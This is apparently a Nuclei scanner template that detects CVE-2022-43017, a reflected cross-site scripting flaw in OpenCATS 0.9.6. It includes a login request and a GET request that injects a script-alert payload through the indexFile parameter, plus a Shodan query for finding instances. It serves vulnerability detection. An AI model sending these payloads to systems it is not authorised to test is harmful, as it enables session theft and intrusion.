id: CVE-2022-43017

info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the indexFile component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses this issue.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_indexFile.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43017
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43017
    cwe-id: CWE-79
    epss-score: 0.00099
    epss-percentile: 0.40565
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query: title:"OpenCATS"
  tags: cve,cve2022,xss,opencats,authenticated

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /ajax.php?f=getPipelineJobOrder&joborderID=1&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=15)"></a><script>alert(document.domain)</script>&isPopup=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'CATS='
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dd87ebfe6d6cf8f91e1b8675a0783c24940fcd4f08ce35c16db45abbe6e0113b022015d1ef8dd35c27d9ae583a14fe81180a74d4d6b16e278c22df6dcc6eaf331d12:922c64590222798bb761d5b6d8e72950